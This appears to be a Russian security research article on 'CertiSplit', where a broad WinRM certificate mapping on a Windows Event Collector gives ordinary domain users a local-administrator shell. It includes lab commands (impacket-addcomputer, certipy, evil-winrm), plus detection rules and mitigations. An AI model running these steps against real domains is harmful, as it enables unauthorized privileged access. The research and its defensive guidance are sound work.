Неочевидный Privesc через WEC и WinRM: обычный сертификат = административный shell

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Привет! Сегодня разберём необычный вектор повышения привилегий в Windows, который мне удалось воспроизвести при исследовании Windows Event Collector (WEC) и WinRM certificate authentication.

Представим ситуацию: у нас есть обычная доменная УЗ без административных прав. Мы получаем для неё легитимный сертификат от корпоративного УЦ, подключаемся к WEC по WinRM HTTPS и оказываемся в PowerShell-сессии локального администратора коллектора. Без кражи сертификатов, подмены SID, ESC-атак или компрометации CA.

Звучит странно, но вся магия в одном правиле сопоставления сертификатов. Исследуемый сценарий я назвал "CertiSplit". Ниже посмотрим, как он устроен, воспроизведём два варианта, разберём контрольные эксперименты и, конечно, найдём артефакты.

Есть и второй интересный результат: даже при включённом UAC и стандартном LocalAccountTokenFilterPolicy=0 сертификатный вход открывал административный shell. При этом прямой вход по паролю под той же локальной УЗ блокировался. К этому сравнению вернёмся отдельно — оно многое объясняет.

Теория: при чём здесь WEC и сертификаты?

Windows Event Collector — компонент Windows, принимающий события от удалённых источников. В варианте source-initiated subscription сами источники отправляют события коллектору. Для взаимодействия используется WS-Management/WinRM, в том числе по HTTPS (TCP/5986) с клиентскими сертификатами.

В документации Microsoft по настройке WEC с сертификатами предлагается создать локальную учётную запись на сервере-коллекторе, добавить её в Administrators и настроить certificate mapping:

winrm create winrm/config/service/certmapping?Issuer=<CA_THUMBPRINT>+Subject=*+URI=* '@{UserName="<LOCAL_USER>";Password="<PASSWORD>"}' -remote:localhost

В моей лаборатории правило выглядело следующим образом:

Issuer   = 8BD6095055F61EACD707227A2DD151D91A2DB5C2
Subject  = *
URI      = *
UserName = SRV01\CERTMAP-ADMIN
Enabled  = true

Здесь стоит обратить внимание на три параметра:

  • Issuer — отпечаток УЦ, выпустившего клиентский сертификат.

  • Subject=* — правило не ограничено одним конкретным субъектом сертификата.

  • URI=* — правило применимо не только к ресурсу пересылки событий WEC, но и к другим ресурсам WS-Management, включая WinRM shell.

После проверки сертификата WinRM находит подходящее правило и использует указанную в нём локальную УЗ. Если это член Administrators и ресурс shell разрешён, получается интересный переход: сертификат выдан обычному субъекту AD, а сеанс на WEC выполняется от имени другого, привилегированного локального пользователя.

Схематично:

Это не обход Issuer, Subject или URI: далее мы отдельно убедимся, что URI-фильтрация работает корректно. Проблема в широкой политике доверия и правах аккаунта, к которому привязан сертификат.

Есть важный нюанс: Microsoft в той же инструкции указывает, что созданную локальную УЗ можно (тут прошу обратить внимание на то, что это только рекомендация) удалить после настройки WEC: для самой пересылки событий она не используется для impersonation. То есть опасность возникает, если широкое правило и активный локальный администратор остались на сервере.

Практика: получаем административный shell

Для тестов использовался следующий стенд:

Компонент

Значение

Домен / CA

test.local / TEST-ROOT-CA

DC + AD CS

dc01.test.local (192.168.1.1)

WEC

srv01.test.local (192.168.1.20)

Целевая ОС

Windows Server 2019, build 17763.9020, KB5099538

WinRM HTTPS

5986/TCP

Исходная УЗ

TEST\bob — обычный доменный пользователь

Сопоставленная УЗ

SRV01\CERTMAP-ADMIN — локальный администратор

Вариант № 1. Machine-сертификат через MachineAccountQuota

Вдохновившись силой MAQ в Certighost, первоначально я пошёл через создание собственного доменного компьютера. Для этого у TEST\bob не было прав администратора домена — достаточно стандартной возможности создавать компьютерные объекты, если она разрешена конфигурацией AD.

Проверим ms-DS-MachineAccountQuota через LDAP:

ldapsearch -x -H ldap://192.168.1.1 -D 'bob@test.local' -W \

  -b 'DC=test,DC=local' -s base ms-DS-MachineAccountQuota

Результат:

ms-DS-MachineAccountQuota: 10

Создаём собственную машинную УЗ:

impacket-addcomputer -dc-ip 192.168.1.1 \
  -computer-name 'BOBPC01$' \
  -computer-pass '<LAB_MACHINE_PASSWORD>' \
  'test.local/bob'
Successfully added machine account BOBPC01$

Для объекта задавались dNSHostName=bobpc01.test.local и соответствующие HOST/ и RestrictedKrbHost/ SPN. Затем от имени созданной машины запрашиваем обычный сертификат из шаблона Machine:

certipy-ad req \
  -u 'BOBPC01$@test.local' \
  -p '<LAB_MACHINE_PASSWORD>' \
  -dc-ip 192.168.1.1 \
  -target dc01.test.local \
  -ca TEST-ROOT-CA \
  -template Machine \
  -out bobpc01
Successfully requested certificate
Saved certificate and private key to bobpc01.pfx

Никакого ESC-сценария здесь нет. Сертификат легитимно выпущен для BOBPC01$ и содержит ожидаемые данные:

Subject: CN=bobpc01.test.local
Issuer: TEST-ROOT-CA
EKU: Client Authentication
Strong SID extension: 1.3.6.1.4.1.311.25.2

SID-расширение указывает на созданный компьютер, а не на администратора WEC. Это важно: мы не пытаемся заставить AD CS выдать сертификат на чужую УЗ.

Экспортируем сертификат и ключ в PEM для клиента WinRM:

openssl pkcs12 -in bobpc01.pfx -clcerts -nokeys \
  -out bobpc01.crt.pem -passin pass:
openssl pkcs12 -in bobpc01.pfx -nocerts -nodes \
  -out bobpc01.key.pem -passin pass:

Подключаемся к WEC:

evil-winrm -i srv01.test.local -S -P 5986 \
  -c bobpc01.crt.pem -k bobpc01.key.pem

И получаем:

*Evil-WinRM* PS C:\Users\CERTMAP-ADMIN\Documents>

Посмотрим, кто мы в системе:

whoami /user
whoami /groups
whoami /priv

Наблюдаемый результат:

User: srv01\certmap-admin
Group: BUILTIN\Administrators (S-1-5-32-544)
Integrity: High Mandatory Level (S-1-16-12288)

Enabled privileges:
  SeDebugPrivilege
  SeBackupPrivilege
  SeRestorePrivilege
  SeTakeOwnershipPrivilege
  SeLoadDriverPrivilege
  SeImpersonatePrivilege

Итого: из обычной доменной УЗ получили полноценную локальную административную WinRM-сессию на WEC. Причём права TEST\bob на самом SRV01 здесь ни при чём — они определялись локальным пользователем, указанным в certificate mapping.

Вариант № 2. Обычный User-сертификат без создания компьютера

Далее возник логичный вопрос: а зачем вообще нужен MachineAccountQuota, если WinRM ориентируется на выдающий CA, Subject и URI?

Проверил второй вариант. TEST\bob получил сертификат из стандартного шаблона User, без создания компьютерной УЗ. Посмотрим на содержимое:

openssl x509 -in bob-user.crt.pem -noout \
  -subject -issuer -ext extendedKeyUsage
subject=DC=local, DC=test, CN=Users, CN=bob
issuer=DC=local, DC=test, CN=TEST-ROOT-CA
X509v3 Extended Key Usage:
    Microsoft Encrypted File System,
    E-mail Protection,
    TLS Web Client Authentication

Повторяем подключение, но уже с сертификатом самого пользователя:

evil-winrm -i srv01.test.local -S -P 5986 \
  -c bob-user.crt.pem -k bob-user.key.pem
*Evil-WinRM* PS C:\Users\CERTMAP-ADMIN\Documents> whoami /user

srv01\certmap-admin S-1-5-21-3931055678-3624413536-1687736101-1000

Вот это уже гораздо интереснее. ms-DS-MachineAccountQuota > 0 не является обязательным условием. Достаточно возможности получить подходящий клиентский сертификат из доверенной цепочки и активного широкого mapping на WEC. В моём стенде для этого подошёл стандартный User.

Важная оговорка: не любой сертификат автоматически откроет shell. Он должен пройти проверку цепочки и статуса, подходить для клиентской аутентификации и удовлетворять действующему правилу WinRM.

Контрольные тесты: где проходит граница?

Получить shell — половина исследования. Теперь проверим, за счёт чего он появляется и какие изменения действительно блокируют доступ.

URI: дело не в обходе, а в слишком широком правиле

Менял только URI certificate mapping, оставляя того же выдающего УЦ, Subject=*, локального пользователя и клиентский сертификат.

URI в правиле

WinRM shell

Пересылка событий WEC

*

Успешно

Работает

http://schemas.microsoft.com/wbem/wsman/1/windows/shell*

Успешно

Отдельно не проверялась

http://schemas.microsoft.com/wbem/wsman/1/windows/EventLog*

Отказ

Работает

http://schemas.microsoft.com/wbem/wsman/1/config*

Отказ

Отдельно не проверялась

Самый важный контроль — EventLog*. После ограничения ресурса новая Evil-WinRM-сессия не открывалась. При этом я сгенерировал события на разрешённом WEC-источнике и обнаружил их в ForwardedEvents на коллекторе:

Event ID: 901, 902
Provider: CertiSplitLab
Source: PC01.test.local
Destination: ForwardedEvents

То есть для пересылки событий URI=* не потребовался, а доступ к shell удалось отсечь. Аналогично, отключение сопоставленной локальной УЗ блокировало shell (WSMan fault code 1309), но не мешало форвардингу; исключение её из Administrators приводило к отказу в административном доступе (AccessDenied, код 5).

Обхода URI selector в этом эксперименте нет: селектор работает, если им воспользоваться.

Remote UAC: почему LocalAccountTokenFilterPolicy=0 не спас

Пожалуй, это самый неожиданный контрольный эксперимент после получения shell. В Windows есть механизм Remote UAC, который ограничивает удалённое администрирование под локальными учётными записями. При LocalAccountTokenFilterPolicy=0 (значение по умолчанию) для прямого сетевого входа локального администратора формируется фильтрованный токен. Для стандартного административного PowerShell endpoint это обычно означает отказ в доступе.

И здесь возникает вопрос: если учётная запись SRV01\CERTMAP-ADMIN одна и та же, будет ли Remote UAC одинаково ограничивать парольный вход и вход через сертификат?

Проверял один и тот же SRV01\CERTMAP-ADMIN на одном WinRM endpoint. EnableLUA=1 оставался включённым. Изменял только LocalAccountTokenFilterPolicy и способ аутентификации: пароль либо клиентский сертификат.

Способ входа

LATFP

4624: LogonProcess / Package

ElevatedToken

Shell

Пароль CERTMAP-ADMIN

1

NtLmSsp / NTLM

Yes

Успешно

Пароль CERTMAP-ADMIN

0

NtLmSsp / NTLM

No

WinRMAuthorizationError

Сертификат → CERTMAP-ADMIN

1

Advapi / Negotiate

Yes

Успешно

Сертификат → CERTMAP-ADMIN

0

Advapi / Negotiate

Yes

Успешно

Получается показательная разница: при одинаковых EnableLUA=1, LATFP=0, локальной УЗ и WinRM endpoint парольный вход заканчивается ошибкой авторизации, а сертификатный приводит к привилегированной сессии. Следовательно, дело не в отключённом UAC и не в том, что локальный администратор получил особые права между тестами.

Чтобы это не выглядело как голословная таблица, приведу ключевые поля реальных событий 4624 из эксперимента.

Прямой парольный вход, LATFP=0:

EventID: 4624
TargetUserName: CERTMAP-ADMIN
TargetDomainName: SRV01
TargetLogonId: '0x2372e4'
LogonType: 3
LogonProcessName: NtLmSsp
AuthenticationPackageName: NTLM
SourceNetworkAddress: 192.168.1.3
ElevatedToken: No (%%1843)

Сам вход зарегистрирован, но WinRM ответил:

WinRM::WinRMAuthorizationError

Теперь сертификатный вход при том же LATFP=0:

EventID: 4624
SubjectUserSid: S-1-5-20
SubjectUserName: SRV01$
SubjectDomainName: TEST
SubjectLogonId: '0x3e4'
TargetUserName: CERTMAP-ADMIN
TargetDomainName: SRV01
TargetLogonId: '0x2443d6'
LogonType: 3
LogonProcessName: Advapi
AuthenticationPackageName: Negotiate
ProcessName: C:\Windows\System32\svchost.exe
ElevatedToken: Yes (%%1842)

Событие 4672 с тем же LogonId=0x2443d6 содержало SeDebugPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeTakeOwnershipPrivilege, SeImpersonatePrivilege и другие привилегии. А whoami в фактически открывшейся сессии подтвердил BUILTIN\Administrators и High Mandatory Level.

Для полноты: в успешном парольном тесте с LATFP=1 использовался LogonId=0x22cf9a (NtLmSsp/NTLM, ElevatedToken=Yes), а в сертификатном тесте с LATFP=1 — 0x248cec (Advapi/Negotiate, ElevatedToken=Yes). Так что мы сравниваем все четыре комбинации, а не два случайных входа.

Откуда разница? По событиям видно, что пути входа различаются. При вводе пароля удалённый локальный администратор проходит через NtLmSsp, а при certificate mapping вход сопоставленной УЗ инициируется служебным контекстом WinRM (Advapi/Negotiate, svchost.exe, S-1-5-20 — NETWORK SERVICE). Для второго варианта в стенде формировался повышенный токен даже при LATFP=0.

Что это означает с точки зрения безопасности? У администратора может возникнуть ложное ощущение, что оставленный LATFP=0 защищает от удалённого использования локального администратора. В проверенной конфигурации такое предположение неверно: WinRM certificate mapping приводил к полноценному административному токену, несмотря на Remote UAC restrictions для прямого входа. Это важное условие эксплуатации CertiSplit и аргумент против использования LATFP=0 в качестве компенсирующей меры.

При этом важно не смешивать наблюдение с классификацией уязвимости. Результат не доказывает универсальный «UAC bypass» для любых удалённых протоколов и способов аутентификации. Мы видим разные пути создания токена и конкретный путь, на котором ожидаемая для прямого сетевого входа фильтрация не препятствует административному сеансу. Разница реальна и подтверждена экспериментом, а является ли это самостоятельным дефектом границы безопасности Windows - это отдельный вопрос, на который эти логи сами по себе не отвечают.

Отключение доменной УЗ и отзыв сертификата

Наконец, проверил, что произойдёт, если лишить исходного пользователя доступа к домену. После выдачи bob сертификата отключил доменную УЗ:

Disable-ADAccount -Identity bob

Затем создал новую WinRM HTTPS-сессию с ранее выданным сертификатом. Результат не изменился — подключение прошло, whoami снова показал SRV01\CERTMAP-ADMIN.

То есть отключение TEST\bob не равнозначно отзыву выпущенного ему сертификата и не мешает использованию независимой локальной УЗ из mapping.

Проверил и обратный сценарий: отозвал сертификат, выпустил свежий CRL и обеспечил его доступность на WEC. Проверка Windows вернула:

CRYPT_E_REVOKED

После этого новые подключения по отозванному сертификату блокировались. Здесь нет обхода CRL: когда актуальный статус отзыва известен целевой системе, проверка сработала.

Артефакты и детекция

Здесь есть особенность: получить успешный 4624 недостаточно, чтобы доказать именно CertiSplit. Нужны контекст WEC, состояние mapping и связанная активность WinRM.

На что обращать внимание:

Источник

ID / данные

Значение

Конфигурация WinRM на WEC

Issuer, Subject, URI, UserName

Активное сопоставление Subject=*, URI=* с локальным администратором — первичный риск

Security на WEC

4624

Служебный вход в mapped user: Advapi, Negotiate, LogonType=3, ElevatedToken=Yes

Security на WEC

4672

Специальные привилегии для того же LogonId

WinRM / PowerShell

Активность удалённой сессии

Подтверждение фактического создания shell

DC (вариант Machine)

4741

Создание компьютерной УЗ обычным пользователем

CA

4886, 4887

Запрос и выпуск сертификата, если включён аудит УЦ

WEC

ForwardedEvents

Проверка того, что подписки продолжают работать после изменения mapping

Конфигурацию можно посмотреть так:

winrm enum winrm/config/service/certmapping

Или через PowerShell-провайдер:

Get-ChildItem WSMan:\localhost\ClientCertificate |
  ForEach-Object { Get-ChildItem $_.PSPath }

Для SIEM я бы разделил обнаружение на три уровня: опасная конфигурация, подтверждение привилегированного входа и обнаружение WinRM shell. Это позволяет отличать потенциальный риск от фактического использования certificate mapping.

1. Аудит конфигурации WinRM

Ищем активное certificate mapping, в котором одновременно выполняются условия:

Subject = *
URI = *
Mapped account ∈ BUILTIN\Administrators
Mapping enabled = true

Это индикатор опасной конфигурации, но не свидетельство эксплуатации. Проверку следует выполнять по актуальной конфигурации WinRM на WEC, например периодическим сбором настроек или отдельным аудитом конфигурации.

2. Rule_1_Привилегированный вход через WinRM certificate mapping

Первое правило корреляции связывает события 4624 и 4672 по идентификатору сеанса входа LogonId.

Условия для Event ID 4624 на WEC:

TargetUserName = <mapped local admin>
TargetDomainName = <WEC hostname>
LogonType = 3
LogonProcessName = Advapi
AuthenticationPackageName = Negotiate
ElevatedToken = Yes

Событие 4672 должно содержать специальные привилегии для той же учётной записи и совпадающий идентификатор входа:

4624.TargetLogonId = 4672.SubjectLogonId

Время жизни контейнера будет логично указать 120 секунд.

На выходе имеем обнаружение сетевого входа с повышенным токеном, сопровождаемого назначением специальных привилегий. Однако это ещё не доказывает создание интерактивной оболочки.

3. Rule_2_Создание WinRM shell после привилегированного входа

Второе правило использует результат первой корреляции и ищет подтверждение создания удалённой оболочки.

Логическая последовательность:

[WEC] Rule_1_Привилегированный вход через WinRM certificate mapping
      Privileged network logon + special privileges
                 |
                 v
[WEC] WinRM Operational, Event ID 91
      Creating WSMan shell on server
                 |
                 v
[Network telemetry, if available]
      Allowed TCP connection to WEC:5986
                 |
                 v
Alert: WinRM shell after privileged logon

Для события WinRM проверяем провайдер Microsoft-Windows-WinRM, Event ID 91 (PowerShell Remoting) и, если доступно после парсинга, ResourceUri создаваемой оболочки.

Сетевой селектор использует адрес WEC в качестве назначения и порт 5986/TCP. Если сетевые события не собираются, этот селектор не следует делать обязательным: достаточно связать результат первого правила с событием создания shell.

Для сценария с шаблоном Machine цепочку можно дополнительно усилить событиями 4741 (создание компьютерной учётной записи) и 4887 (выдача сертификата). Это отдельный сценарий обнаружения, а не обязательное условие основного правила: при получении сертификата из шаблона User события 4741 не будет, и детект, основанный только на создании компьютера, пропустит такой вариант.

Меры противодействия

  1. Сузить URI до http://schemas.microsoft.com/wbem/wsman/1/windows/EventLog* для mapping, предназначенного только для пересылки событий. В эксперименте это блокировало shell, не ломая WEC.

  2. Не оставлять без необходимости включённого локального администратора, созданного на этапе настройки WEC; рассмотреть удаление/отключение УЗ и минимизацию её прав.

  3. Проверить, какие субъекты могут получить сертификат с Client Authentication от доверенного УЦ. Снижение MachineAccountQuota полезно само по себе, но не решает вопрос, если доступен стандартный User.

  4. Не считать LocalAccountTokenFilterPolicy=0 достаточной защитой от этого сценария. В эксперименте она блокировала прямой парольный вход, но не вход через certificate mapping.

  5. Ограничить сетевой доступ к 5986/TCP, инвентаризировать WinRM mappings и проверить доставку CRL/работу отзыва.

  6. После изменений протестировать оба условия: новые административные shell-сессии не создаются, а события от разрешённых источников продолжают поступать в ForwardedEvents.

Позиция MSRC и выводы

По итогам рассмотрения Microsoft Security Response Center (MSRC) сообщил, что случай не соответствует определению уязвимости и не достигает порога для выпуска исправления. По мнению Microsoft, доступ предоставляется явно настроенной политикой certificate mapping, а не вследствие дефекта Windows. CVE не присвоен, bounty не предусмотрен, дальнейшее сопровождение обращения прекращено. При этом материалы переданы ответственной инженерной команде для ознакомления.

Тем не менее исследование выявило практический риск: опасная комбинация Subject=*, URI=* и локальной административной учётной записи описана в официальной документации Microsoft по настройке WEC через HTTPS.

Дополнительный эксперимент с LocalAccountTokenFilterPolicy=0 показал, что Remote UAC не препятствует получению административной WinRM-сессии через это сопоставление, хотя прямая парольная аутентификация той же учётной записи завершается WinRMAuthorizationError. Это подтверждённый результат тестирования, но не доказательство отдельной уязвимости UAC.

Главный вывод: даже если рассматривать CertiSplit как риск конфигурации, а не уязвимость Windows, рекомендация остаётся практической — ограничивать mapping ресурсом EventLog и не оставлять без необходимости активную локальную административную учётную запись.

Источник: https://habr.com/ru/articles/1097360/


Интересные статьи

Интересные статьи

При работе с Bitrix24 понадобилось сохранить адрес из Google Maps в стандартное поле Address у лида. Не просто строку, а полноценный адрес: с координатами, разбивкой на части и корректной работой всей...
Привет друг. Меня зовут Разработчик. Вид веб-разработка, подвид битриксоидус. Это не тот кем я хотел когда-то стать, но десять лет сделали это свершившимся фактом. Я устал быть им. Но перед тем как за...
Magento — дорого, Ensi — сложно, Bitrix — просто. Или не так?Всем привет! Я Роман, тимлид e-commerce агентства KISLOROD.Платформа для интернет-магазина — стратегическое решение. Выбор между Bitrix, Ma...
Против производителя телевизоров «Квант» возбуждено уголовное дело. Компания не выплатила работникам 60 млн рублей. Также поданы иски о банкротстве. Сотрудники ООО «Квант» не получ...
Применение AI в науке растет, но результаты его внедрения часто переоценены. Исследования показывают, что 79% публикаций, заявляющих о превосходстве AI, используют некорректные бенчмарки.Это искажает ...